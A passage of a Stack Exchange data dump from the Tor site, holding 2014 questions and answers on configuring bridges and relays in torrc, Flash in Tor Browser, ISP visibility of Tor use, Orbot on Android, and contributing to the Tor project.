trackable.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2014-08-23T00:03:35.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3924" PostTypeId="1" CreationDate="2014-08-23T05:18:28.027" Score="12" ViewCount="34382" Body="&lt;p&gt;I have installed Tor on my Ubuntu system, not the Tor browser bundle.&#xA;Now, I am aware that one can add obfs3 bridges into &lt;code&gt;torrc&lt;/code&gt; file.&#xA;How might I do this?&lt;/p&gt;&#xA;" OwnerUserId="3468" LastEditorUserId="28671" LastEditDate="2021-07-20T13:30:50.733" LastActivityDate="2021-07-20T13:30:50.733" Title="How do I add obfs3 bridges in torrc?" Tags="|configuration|obfsproxy|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="3925" PostTypeId="2" ParentId="3924" CreationDate="2014-08-23T15:48:10.310" Score="4" Body="&lt;p&gt;Open torrc file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After first two comment lines which start with # add:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Bridge obfs3 &lt;code&gt;IP-address:port&lt;/code&gt; &lt;code&gt;Fingerprint of bridge&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and save the file. For more information take a look at &lt;a href=&quot;https://github.com/freebsd/freebsd-ports/blob/master/security/obfsproxy/files/pkg-message.in&quot; rel=&quot;nofollow&quot;&gt;freebsd-ports&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: Do not post the bridges you use in public. It make it easier to track you. This is how your torrc should look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# This file was generated by Tor; if you edit it, comments will not be preserved&#xA;# The old torrc file was renamed to torrc.orig.1 or similar, and Tor will ignore it&#xA;&#xA;Bridge obfs3 &amp;lt;IP-address 1:port 1&amp;gt; &amp;lt;Fingerprint of bridge 1&amp;gt;&#xA;Bridge obfs3 &amp;lt;IP-address 2:port 2&amp;gt; &amp;lt;Fingerprint of bridge 2&amp;gt;&#xA;&#xA;DataDirectory C:\Program Files\Tor Browser\Data\Tor&#xA;DirReqStatistics 0&#xA;GeoIPFile C:\Program Files\Tor Browser\Data\Tor\geoip&#xA;GeoIPv6File C:\Program Files\Tor Browser\Data\Tor\geoip6&#xA;UseBridges 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="947" LastEditorUserId="947" LastEditDate="2014-08-24T10:06:58.060" LastActivityDate="2014-08-24T10:06:58.060" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3926" PostTypeId="2" ParentId="2037" CreationDate="2014-08-24T00:33:54.033" Score="1" Body="&lt;p&gt;This also is happening to me inside my Parallels virtual machine (Windows 7) running on my Macbook Pro. I haven't experienced it in the OS X side of the house; when I launch Tor or Firefox the correct application launches on the Macintosh. It seems to have started when I updated the Tor browser in the Parallels Virtual machine and pinned the Tor icon to the Windows 7 task bar.  Around the same time, I also added extensions to my &quot;Firefoxes&quot;. This is as close as I can get to isolating the problem.  This doesn't solve any problems but this issue reaches across the Parallels/OSX boundary. I have looked at the processes on Process Explorer from the Sysinternals suite and don't see anything out of place there running there. Look at your Macintosh &quot;Activity Monitor&quot; to see what is running.  You don't have to use the terminal to do this.  You can kill processes from the Activity monitor.  Also if a file is locked, usually it won't respond to any commands until you unlock the file which usually means closing it from the application that you opened from. If you know what file it might be, click on it to try and open it or launch it. If it is locked, it will let you know. If you recently updated your Tor browser, see if you still have the previous install program in the download area and try using that.  I am working on the basis that my issue on the virtual machine in Parallels is some how associated with the Tor update or adding extensions to Firefox.  Also I would like to add, having had my browser high-jacked four or five years ago, I have good protection and am a little more savvy now; and I don't think anything has taken control.&lt;/p&gt;&#xA;" OwnerUserId="3469" LastEditorUserId="923" LastEditDate="2014-08-24T15:11:21.187" LastActivityDate="2014-08-24T15:11:21.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3928" PostTypeId="1" CreationDate="2014-08-24T17:06:27.993" Score="1" ViewCount="226" Body="&lt;p&gt;I installed Tor Browser under Ubuntu and that works! but when I restart my computer and when I try to run Tor Browser, Tor shows me this message:&lt;br&gt;&#xA;&lt;code&gt;Tor Browser exited abnormally. Exit code: 133&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does Code: 133 mean and how may I remedy this problem?&lt;/p&gt;&#xA;" OwnerUserId="3470" LastEditorUserId="923" LastEditDate="2014-08-25T09:31:26.510" LastActivityDate="2014-08-25T09:31:26.510" Title="Tor Browser Exit Code : 133" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3929" PostTypeId="1" CreationDate="2014-08-24T19:06:17.963" Score="1" ViewCount="174" Body="&lt;p&gt;I wanted to download a file of considerable size, let us say 10GB&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and I sent the GET request to a web server to download that file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then would get downloaded through the Tor network, through the circuit I had created to request the server to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is, if the client stopped reading the TCP connection, would the entire file still be downloaded, or does it depend on the client sending back an ack or something to the circuit asking for the next packet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope that makes sense.&lt;/p&gt;&#xA;" OwnerUserId="3369" LastEditorUserId="923" LastEditDate="2014-08-25T09:46:46.640" LastActivityDate="2017-08-14T11:30:21.057" Title="Relay streaming a large file" Tags="|security|circuit|attacks|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3930" PostTypeId="1" CreationDate="2014-08-25T04:20:10.877" Score="2" ViewCount="164" Body="&lt;p&gt;Tor Atlas informs me &quot;No results found. No Tor relays or bridges matched your query&quot; But when I use find my ip location tool I am shown to be exiting in another country.  I worry that I am exiting through a fake exit node.&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="923" LastEditDate="2014-08-25T09:20:01.660" LastActivityDate="2014-12-05T16:11:49.300" Title="Atlas gives wrong information" Tags="|atlas|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3931" PostTypeId="1" CreationDate="2014-08-25T05:19:56.573" Score="10" ViewCount="100010" Body="&lt;p&gt;So some games I tried on Tor need Adobe Flash Player.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've downloaded Adobe Flash Player three times now, and the game still can't be played.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help? &lt;/p&gt;&#xA;" OwnerUserId="3475" LastEditorUserId="923" LastEditDate="2014-08-25T09:23:15.417" LastActivityDate="2018-11-06T04:42:38.200" Title="Why can't Tor Browser use Adobe Flash Player?" Tags="|tor-browser-bundle|flash|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3932" PostTypeId="1" CreationDate="2014-08-25T05:30:14.533" Score="9" ViewCount="21417" Body="&lt;p&gt;I guess my first question should be, does my ISP know when I'm using Tor? I read somewhere that they do. In that case, the anonymity offered by Tor is rather limited. If someone suspects I posted something naughty, they only need to check with my ISP and match the time of posting with times I was using Tor. (unless I am willing to use Tor all the time, which I am not)&lt;/p&gt;&#xA;" OwnerUserId="3474" LastEditorUserId="923" LastEditDate="2014-08-25T09:16:57.290" LastActivityDate="2019-05-24T09:18:37.347" Title="How can I use Tor without my ISP knowing?" Tags="|anonymity|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3933" PostTypeId="1" CreationDate="2014-08-25T05:30:55.577" Score="2" ViewCount="781" Body="&lt;p&gt;My college has one or two facilities enabled with WiFi. I've been provided with complete access to the Internet. A few websites were blocked by the router (say Twitter, YouTube, probably any site that's fun!). I was using Tor (v2.3) to access those sites. I used v2.3 because I like the Vidalia Panel, the details, logs, customization etc. are quite charming, until...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last week, something terrible happened. Whenever I try to connect to the network, it's stuck here, at &lt;em&gt;&quot;Establishing an encrypted directory connection&quot;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vzPBo.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I tried using v3.6.3. It connects (within a few seconds) as usual. I'm able to browse those sites. So, what's the big deal? Why's there a conflict between both of these versions? I'm curious why this happened all of a sudden.&lt;/p&gt;&#xA;" OwnerUserId="219" LastActivityDate="2015-07-14T00:44:07.323" Title="Why can't I connect using an older version of Tor?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3934" PostTypeId="2" ParentId="3931" CreationDate="2014-08-25T05:38:41.820" Score="8" Body="&lt;p&gt;Adobe Flash is very insecure and vulnerable. There are many ways people can expoit Flash to get your real identity, so using Flash in Tor is like having glass windows in tank.. You can get it working with Tor, but it is highly unrecommended to do so. Use a VPN instead.&lt;/p&gt;&#xA;" OwnerDisplayName="user3349" LastActivityDate="2014-08-25T05:38:41.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3935" PostTypeId="2" ParentId="3932" CreationDate="2014-08-25T05:40:18.227" Score="3" Body="&lt;p&gt;Yes, your ISP knows you use Tor. You can use &lt;a href=&quot;https://www.torproject.org/docs/bridges&quot; rel=&quot;nofollow&quot;&gt;Tor bridges&lt;/a&gt; to circumvent this.&lt;/p&gt;&#xA;" OwnerDisplayName="user3349" LastActivityDate="2014-08-25T05:40:18.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3936" PostTypeId="2" ParentId="3933" CreationDate="2014-08-25T09:40:45.723" Score="6" Body="&lt;p&gt;I don't know why the connection failed in this case, but you should &lt;strong&gt;always use the latest version of the Tor Browser Bundle&lt;/strong&gt;, as the older version may have security vulnerabilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you miss Vidalia, then use the standalone Vidalia bundle together with the most recent version of the TBB (currently 3.6.&lt;strong&gt;4&lt;/strong&gt;), as described here: &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#WhereDidVidaliaGo&quot;&gt;https://www.torproject.org/docs/faq.html.en#WhereDidVidaliaGo&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3476" LastActivityDate="2014-08-25T09:40:45.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3937" PostTypeId="2" ParentId="3930" CreationDate="2014-08-25T11:30:10.153" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://atlas.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Atlas&lt;/a&gt; had some problem in the last days. It seems that the backend onionoo was not working properly. This also affected &lt;a href=&quot;https://globe.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Globe&lt;/a&gt;. It works properly now. So you should check if still you get the message from Atlas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possibility to check if an IP address was a Tor relay is &lt;a href=&quot;https://exonerator.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Exonerator&lt;/a&gt;. Just enter the address and a date and it will tell you if it was an exit during this time.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-08-25T11:30:10.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3939" PostTypeId="2" ParentId="3932" CreationDate="2014-08-25T13:25:30.323" Score="5" Body="&lt;p&gt;There is no long term credible way to deny the ISP provider from figuring out you are using Tor. You may use bridges or pluggable transport bridges to temporarily deny ISP from knowing that you are using Tor, but if any credible investigation arises regarding this matter, your ISP and bunch of other people would know that you were using Tor.   &lt;/p&gt;&#xA;" OwnerUserId="923" LastActivityDate="2014-08-25T13:25:30.323" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3940" PostTypeId="2" ParentId="3931" CreationDate="2014-08-25T14:55:49.917" Score="10" Body="&lt;p&gt;Following, please find a quote from Tor.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Tor Browser will block browser plugins such as Flash, RealPlayer,&#xA;  Quicktime, and others: they can be manipulated into revealing your IP&#xA;  address.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Using Adobe Flash is enough to break your anonymity. Thus, Tor does not allow Adobe Flash to be used accidently or inadvertently. However If you want to use Adobe Flash and you do not care to keep your anonymity secured, there is no good reason to use Tor, because one of the main purposes of Tor is to keep the user anonymous. You may use any free or paid VPN instead.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-08-25T15:37:26.113" LastActivityDate="2014-08-25T15:37:26.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3942" PostTypeId="2" ParentId="3929" CreationDate="2014-08-25T21:22:09.493" Score="0" Body="&lt;p&gt;It continues as long as you are connected to a node. Tor makes multiple connections and it has to get pretty bad before it fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All though 10gb files over tor is a lot.&#xA;But one way to make it easier is to use for example a download manager that you pipe through tor that allows you to resume if it fails.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2014-08-25T21:22:09.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3946" PostTypeId="1" AcceptedAnswerId="3951" CreationDate="2014-08-26T12:12:40.140" Score="1" ViewCount="2193" Body="&lt;p&gt;I read that using Personal Accounts like Gmail, Facebook etc (with real Personal Information) on Tor is not anonymous or safe.&#xA;So if I installed Orbot on un-rooted android mobile then even I browse anonymously using Orweb, but the other apps like my Email Client, Stackexchange app or even Play Store itself on my phone does/can connect to internet using my external IP (the real one). Doesn't it reveal my identity??&#xA;I am using &quot;NoRoot Firewall&quot; (noroot firewall is an app for un-rooted android devices which block or allow internet access to certain devices by creating a virtual VPN) for blocking internet access of some apps but running Torand Noroot Firewall simultanously makes a bigger mess (running simultanously Orweb shows You are not connected to Tor even when Orbot saying you are connected to Tor i.e. may be orweb connects directly to internet with my real IP address).&#xA;I also tried edit my mobile APN setting to local host and 8118, but may be that allowing all apps to connect through Tor including Gmail account via Email Client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how can I use Tor on android while blocking internet access to other apps like email client and other apps which use my real identity?&#xA;Is there any other option other than rooting my phone?&lt;/p&gt;&#xA;" OwnerUserId="3486" LastEditorUserId="923" LastEditDate="2014-08-26T12:23:48.867" LastActivityDate="2014-08-26T18:24:54.610" Title="Use of Orbot on Mobile" Tags="|orbot|mobile|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3948" PostTypeId="2" ParentId="3734" CreationDate="2014-08-26T13:35:06.647" Score="1" Body="&lt;p&gt;Yes, if you are careful about possibilities of relating of the access point to your activities (like living in the proximity of the AP) then you get additional layer of privacy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to the first two answers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;More generally: Select a Wi-Fi which could hardly be connected to you (your activities).&lt;/li&gt;&#xA;&lt;li&gt;There could be other means of compromising your privacy like cameras in the proximity of the access point.&lt;/li&gt;&#xA;&lt;li&gt;The Wi-Fi devices communicating through the access point could possibly be fingerprinted on layer 2 regardless on the (generated) MAC address. There are smaller or bigger differences in the Wi-Fi device and driver implementations and the set of features implemented. This fingerprinting is possible but not commonly used. See for example this article: &lt;a href=&quot;http://www.cs.cmu.edu/~jfrankli/usenixsec06/usenixsec06driverfingerprinting.ps&quot; rel=&quot;nofollow&quot;&gt;Passive Data Link Layer 802.11 Wireless Device Driver Fingerprinting&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="114" LastActivityDate="2014-08-26T13:35:06.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3949" PostTypeId="1" AcceptedAnswerId="3960" CreationDate="2014-08-26T16:34:41.220" Score="5" ViewCount="2837" Body="&lt;p&gt;Are there any available Javascript implementations of Tor client?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Links:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/7/what-implementations-of-tor-are-there&quot;&gt;What implementations of Tor are there?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1880" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-09-10T09:01:24.790" Title="Are there any Javascript implementations of Tor client?" Tags="|javascript|implementations|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3950" PostTypeId="2" ParentId="3949" CreationDate="2014-08-26T18:18:04.883" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://subgraph.com/orchid/index.en.html&quot; rel=&quot;nofollow&quot;&gt;https://subgraph.com/orchid/index.en.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Orchid is a Tor client implementation and library written in pure&#xA;  Java. It was written from the Tor specification documents, which are&#xA;  available here. Orchid runs on Java 5+ and the Android devices.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In a basic use case, running Orchid will open a SOCKS5 listener which&#xA;  can be used as a standalone client where Tor would otherwise be used.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Orchid can also be used as a library by any application running on the&#xA;  JVM. This is what Orchid was really designed for and this is the&#xA;  recommended way to use it. Orchid can be used as a library in any Java&#xA;  application, or any application written in a language that compiles&#xA;  bytecode that will run on the Java virtual machine, e.g., JRuby,&#xA;  Clojure, Scala..&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="112" LastActivityDate="2014-08-26T18:18:04.883" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3951" PostTypeId="2" ParentId="3946" CreationDate="2014-08-26T18:24:54.610" Score="1" Body="&lt;p&gt;What they often mean with that is that information can still be gathered from your connection, &#xA;when the data you send\receive goes out from a exit node it can then be sniffed \ logged by the exit node, this goes for unencrypted data (non-https connections).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does hide your IP - but you have to be careful about what information you can reveal in the other end by logging in to these services and using untrusted connections\web services and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is more detailed information about the exit node sniffing issue here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#CanExitNodesEavesdrop&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/faq.html.en#CanExitNodesEavesdrop&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And about anonymity here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#AmITotallyAnonymous&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/faq.html.en#AmITotallyAnonymous&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2014-08-26T18:24:54.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3953" PostTypeId="1" CreationDate="2014-08-27T00:07:32.427" Score="9" ViewCount="1119" Body="&lt;p&gt;I live in a dictatorship and use the Tor Network to get around censorship. I read that Torrenting over Tor Network is not good because of high Internet usage and it slows everything down. For a short time, I ran a Tor exit node and noticed half the Internet usage was torrents. Is the Tor network now OK for torrents? I need to release a controversial movie about my country and would need to use Tor to seed the torrent for a day or so. The total usage may be 5GB. I am running &lt;code&gt;Whonix&lt;/code&gt; to prevent DNS leaks. I notice that when downloading a test linux torrent, sometimes when heavy usage of above 250KBYTES per second, when traffic leaves VirtualBox Machine it goes to 2 Tor entry nodes. Usually there is only 1 entry node connection. I worried that when uploading torrents, 2 entry nodes can allow dictator to find and maybe hurt me because of correlation attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if this was the official Tor support until reddit let me know. So I posted this here.&lt;/p&gt;&#xA;" OwnerUserId="3488" LastEditorUserId="923" LastEditDate="2015-02-16T11:46:47.093" LastActivityDate="2016-02-05T14:17:22.927" Title="Releasing a controversial movie torrent using Tor Network for security" Tags="|anonymity|security|onion-routing|whonix|attacks|" AnswerCount="6" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3954" PostTypeId="1" CreationDate="2014-08-27T02:29:21.857" Score="1" ViewCount="76" Body="&lt;p&gt;Is anyone else having connection issues using Tor to connect to any variation on xprivacy.eu. (e.g. https, www.xprivacy.eu, xprivacy.edu and just to see if I'm crazy the insecure http xprivacy.eu)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using bridges and obfs3 and have tried on both Android and PC.  Tor Browser and Orweb seems to otherwise be working fine.&lt;/p&gt;&#xA;" OwnerUserId="3489" LastEditorUserId="923" LastEditDate="2014-08-27T07:22:42.150" LastActivityDate="2014-08-27T14:22:38.217" Title="xprivacy and Tor" Tags="|tor-browser-bundle|bridge|orbot|pluggable-transports|" AnswerCount="0" CommentCount="1" ClosedDate="2020-04-15T21:41:57.060" ContentLicense="CC BY-SA 3.0" />
  <row Id="3957" PostTypeId="1" CreationDate="2014-08-28T12:27:11.253" Score="8" ViewCount="405" Body="&lt;p&gt;From &lt;a href=&quot;https://metrics.torproject.org/users.html&quot;&gt;Tor Metrics: Users&lt;/a&gt;, I get that there are currently about 2.4 million &quot;directly connecting users&quot;. And in &lt;a href=&quot;https://gitweb.torproject.org/metrics-web.git/blob/HEAD:/doc/users-q-and-a.txt&quot;&gt;Questions and answers about user statistics&lt;/a&gt;, I see:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Q: So, are these distinct users per day, average number of users connected&lt;br&gt;&#xA;  over the day, or what?&lt;br&gt;&#xA;  A: Average number of concurrent users, estimated from data collected over&lt;br&gt;&#xA;  a day.  We can't say how many distinct users there are.&lt;br&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, I vaguely recall arguments that the number of simultaneously connected Tor clients, at any given instant, is rather smaller than this estimate, which is calculated as 10% of daily directory requests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any reason to think that's so?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is it possible to estimate how many circuits are simultaneously in use?&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorDisplayName="user3349" LastEditDate="2014-08-28T13:09:56.207" LastActivityDate="2015-03-11T18:46:12.053" Title="How many clients are typically using Tor simultaneously? How many circuits are simultaneously in use?" Tags="|client|directory|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3958" PostTypeId="1" CreationDate="2014-08-28T14:40:32.573" Score="2" ViewCount="261" Body="&lt;p&gt;I'm relatively new to Tor, having read about it in my newspaper so I thought I'd give it a go.  Having read about relays and bridges and so forth I thought I'd try it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to get a relay running by editing the Torrc file like so,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BandwidthRate 204800&#xA;ContactInfo ______.s@dsl.pipex.com&#xA;DataDirectory C:\Users\Martin\Desktop\Tor Browser\Data\Tor&#xA;ExitPolicy reject *:*&#xA;GeoIPFile C:\Users\Martin\Desktop\Tor Browser\Data\Tor\geoip&#xA;GeoIPv6File C:\Users\Martin\Desktop\Tor Browser\Data\Tor\geoip6&#xA;Nickname HAVANASUN&#xA;ORPort 443&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I tried to set it up as a bridge.  I entered these lines instead which I found on-line.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 0&#xA;ORPort 443&#xA;BridgeRelay 1&#xA;Exitpolicy reject *:*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Won't connect!  I'm sure it's something simple but to be honest I'm not all that sharp with computers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can some kind soul help me out please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS, I'm using the Tor Browser, not Vidalia.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks chaps&lt;/p&gt;&#xA;" OwnerUserId="3497" LastEditorUserId="88" LastEditDate="2014-08-31T20:20:56.953" LastActivityDate="2016-01-29T15:18:18.687" Title="Trying to set up a bridge, no luck!" Tags="|relays|configuration|bridge|help|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3959" PostTypeId="2" ParentId="3383" CreationDate="2014-08-28T15:39:58.590" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/bridges&quot; rel=&quot;nofollow&quot;&gt;Bridges&lt;/a&gt; and Pluggable transports are pretty much made for this. &lt;a href=&quot;https://www.torproject.org/docs/pluggable-transports.html.en&quot; rel=&quot;nofollow&quot;&gt;There are many to choose from&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A very recent one called &lt;code&gt;meek&lt;/code&gt; makes it look like you connect to Google or Amazon and in fact you connect to their servers, however you actually end up on a Google App Engine or Amazon EC2 server operated by the Tor project. More information about this specific transport can be found on a &lt;a href=&quot;https://blog.torproject.org/blog/how-use-%E2%80%9Cmeek%E2%80%9D-pluggable-transport&quot; rel=&quot;nofollow&quot;&gt;recent article on the Tor Blog&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way you hide the fact &lt;strong&gt;you&lt;/strong&gt; are using Tor, not the fact that there is a connection from the Tor network to a given web service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to hide the fact you are using Tor from the target web service you can for example go through a VPN. To make it also hard for someone with a lot of observation possibilities you might want to use something like a hidden service entrance for the VPN. However then the target is likely to know that you are connecting through a VPN. You might also rent a server somewhere to build this yourself. However, don't forget that this server is likely to be linked with you and depending on how good of a look someone takes at this they might still find out it's you.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastEditorUserId="1292" LastEditDate="2014-08-28T15:48:58.097" LastActivityDate="2014-08-28T15:48:58.097" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3960" PostTypeId="2" ParentId="3949" CreationDate="2014-08-28T15:51:07.570" Score="8" Body="&lt;p&gt;There is &lt;a href=&quot;https://github.com/Ayms/node-Tor&quot;&gt;node-Tor&lt;/a&gt;, but I am not sure what their status is.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2014-08-28T15:51:07.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3961" PostTypeId="1" CreationDate="2014-08-28T23:40:52.177" Score="15" ViewCount="2986" Body="&lt;p&gt;I've often heard contributing to open source projects is a great way to learn, as a student. Tor is something I would like to contribute to as I believe in the cause. I've seen the bug tracker, and guidelines for submitting patches etc in the docs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, am I doing more harm than good by trying to fix bugs and submit patches that may not be perfect? I'm wondering if contributors should have real world experience on large scale projects, or what's expected of contributors?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not want to waste the time of people actively involved in the project.&lt;/p&gt;&#xA;" OwnerUserId="3500" LastEditorUserId="923" LastEditDate="2014-08-29T06:33:51.533" LastActivityDate="2014-11-19T16:44:05.043" Title="How to contribute to Tor as an inexperienced developer?" Tags="|development|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3962" PostTypeId="2" ParentId="3961" CreationDate="2014-08-29T05:16:49.080" Score="9" Body="&lt;p&gt;The best way to start contributing to an open source project (including Tor), is to write unit tests for it. This is invaluable and can be done without too much expertise. The older parts of Tor especially are in need of good tests. &lt;/p&gt;&#xA;" OwnerDisplayName="user3349" LastActivityDate="2014-08-29T05:16:49.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3963" PostTypeId="2" ParentId="3961" CreationDate="2014-08-29T07:20:11.353" Score="12" Body="&lt;p&gt;The rule of thumb is any contribution is better than no contribution. You may contribute by fixing bugs and submit patches that may not be perfect. After all nothing that have ever been produced by a human was ever perfect. The only thing that a human can hope to achieve is pursuit of perfection. The only thing you need is experience. And experience is gained by doing things. All lasting contributions should be mutually beneficial. In your case it seems to be the case. &lt;strong&gt;&lt;em&gt;Your effort is most welcomed and appreciated.&lt;/em&gt;&lt;/strong&gt; &lt;strong&gt;&lt;em&gt;Keep up the good work.&lt;/em&gt;&lt;/strong&gt; And one last thing: Remember that no good deed will go unpunished! Do not let this discourage you!&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-08-29T09:55:07.520" LastActivityDate="2014-08-29T09:55:07.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
